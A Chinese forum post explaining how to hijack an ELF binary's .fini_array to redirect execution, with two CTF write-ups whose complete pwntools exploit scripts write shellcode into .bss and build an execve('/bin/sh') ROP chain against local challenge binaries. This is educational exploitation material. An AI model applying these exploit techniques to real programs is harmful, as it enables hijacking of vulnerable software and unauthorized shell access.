fini_array劫持
PaT1Ent 发表于 山东 二进制安全 1325浏览 · 2024-01-25 07:40

fini_array劫持

背景知识

程序的启动流程如下图:


main函数不是程序的起点,text段的起点是_start函数,_start函数调用libc_start_main完成启动和退出
main函数的返回地址就是
libc_start_main

libc_csu_fini 函数是 main 函数退出返回到 libc_start_main 后,通过 __libc_start_main 调用的。具体看看函数


这里可以看到libc_start_main的三个比较重要的参数
rdi --> main
rcx -->
libc_csu_init
r8 --> __libc_csu_fini

libc_csu_init 在 main 开始前执行 , libc_csu_fini 在 main执行完后执行
所以这里我们可以利用修改 __libc_csu_fini 的数组来控制程序执行流

_fini_array(或 __fini_array)是一个特殊的ELF符号数组,用于存储在程序或共享对象的终止(清理)阶段将要执行的终止函数的地址。
在ELF二进制文件中,除了存储初始化函数数组(.init_array)之外,还可以包含一个终止函数数组(.fini_array)。这些函数会在程序或共享对象退出或终止时以相反的顺序执行,用于进行资源清理、关闭文件描述符、释放内存等操作。
_fini_array符号是由链接器在将目标文件或库连接到可执行文件时生成的。它指向一个由终止函数地址组成的数组。运行时的链接器/加载器会在程序或共享对象终止时依次调用这些函数,以完成清理工作。
类似于_init_array,_fini_array是ELF文件中的一部分,属于特殊的节(section)之一。这些特殊节在程序执行过程中具有特定的目的和执行顺序。其他常见的特殊节包括.text(包含程序指令)和.data(包含已初始化的全局和静态数据)。

所以我们可以劫持fini_array数组来劫持程序执行流

xor - round 14

思路


什么保护都没开,动态编译


这里就是输入一个地址,和一个值,然后进行xorByteWithAddress操作


这里可以看到就是取输入的地址的值去和输入的数值进行疑惑,然后让flag的值加1


这里flag一开始的值是0
加一后就没法继续去进行循环,所以需要先利用异或把flag变成负数,然后就可以一直循环

def write_value(addr, value): 
    p.sendlineafter(b"addr: ", addr) 
    p.sendlineafter(b"value: ", value) 

write_value(b"0x600bcf", b"0xff")  // flag : 0x600BCC

这里是利用整数溢出来把flag修改成负数的
flag是int类型,最大值为 2147483647 也就是 0x7fffffff ,所以我们只需要修改 最前面的一个字节大于 0x7f 就能使得flag 为负数,这里为了循环足够多次,修改为 0xff


然后就可以去修改 __fini_array了


我们去修改0x600970地址即可,这里是因为可以无限任意写,所以就先去写一个bss段的地址,然后在地址上布置好shellcode,最后退出执行即可

write_value(b"0x600970", b"0x70") 
write_value(b"0x600971", b"0x0a")   
write_value(b"0x600972", b"0x20")

修改前:


修改后:


然后一位一位写shellcode

shellcode = asm(shellcraft.sh()) 
for i in range(len(shellcode)): 
    write_value(hex(0x600c60+i), hex(shellcode[i]))

然后在 0x600c60 处逐字节写入shellcode


再去修改flag为正,然后退出程序就可以执行shellcode了

write_value(b"0x600bcf", b"0xff")

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')

def write_value(addr, value): 
    p.sendlineafter(b"addr: ", addr) 
    p.sendlineafter(b"value: ", value) 

write_value(b"0x600bcf", b"0xff") 
write_value(b"0x600970", b"0x70") 
write_value(b"0x600971", b"0x0a")   
write_value(b"0x600972", b"0x20") 

shellcode = asm(shellcraft.sh()) 
for i in range(len(shellcode)): 
    write_value(hex(0x600c60+i), hex(shellcode[i])) 

write_value(b"0x600bcf", b"0xff") 
p.interactive()

Memory_Monster_II

思路


应该是去掉符号表了,然后是静态编译的
这里看起来就是第一次写入一个地址,然后在地址处再写入,所以应该是任意地址写
静态编译时先执行fini_array[1],再执行fini_array[0]
所以这里我们就可以这样利用
fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址

然后将fini_array[0]改成leave_ret,fini_array[1]改成ret
这样执行完fini_array[1]的main函数后就会执行fini_array[0]的leave_ret
然后就沿着fini_array[1]往下执行了,fini_array[1]这时候为ret,就继续执行fini_array[2]

write(fini_array,p64(libc_csu_fini)+p64(main_addr))


然后程序就会循环了

write(esp,p64(rax))
write(esp+8,p64(0x3b)) 
write(esp+16,p64(rdi)) 
write(esp+24,p64(bin_sh))
write(esp+32,p64(rsi))
write(esp+40,p64(0))
write(esp+48,p64(rdx))
write(esp+56,p64(0))
write(esp+64,p64(syscall))

然后在fini_array[2]处构造rop即可

write(fini_array,p64(leave_ret)+p64(ret))

然后结束程序循环,进入ROP

exp

#coding:utf-8
import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')

syscall = 0x0402514
rax = 0x0448fcc
rdx = 0x0448415
rsi = 0x0406f80
rdi = 0x0401746
bin_sh = 0x0492895

fini_array = 0x04B80B0
main_addr  = 0x0401C1D
libc_csu_fini = 0x0402CB0
leave_ret = 0x0401CF3

esp = 0x04B80C0
ret = 0x0401016

def duan():
    gdb.attach(p)
    pause()

def write(addr,data):
    p.sendafter('addr:',p64(addr))
    p.sendafter('data:',data)


#使程序循环跑起来       fini_array[0]   fini_array[1]
write(fini_array,p64(libc_csu_fini)+p64(main_addr))


#duan()
#布置栈上的内容为
#syscall('/bin/sh\x00',0,0)
write(esp,p64(rax))
write(esp+8,p64(0x3b)) 
write(esp+16,p64(rdi)) 
write(esp+24,p64(bin_sh))
write(esp+32,p64(rsi))
write(esp+40,p64(0))
write(esp+48,p64(rdx))
write(esp+56,p64(0))
write(esp+64,p64(syscall))

#结束程序循环,进入ROP
write(fini_array,p64(leave_ret)+p64(ret))
'''
'''
p.interactive()
附件:
0 条评论
某人
表情
可输入 255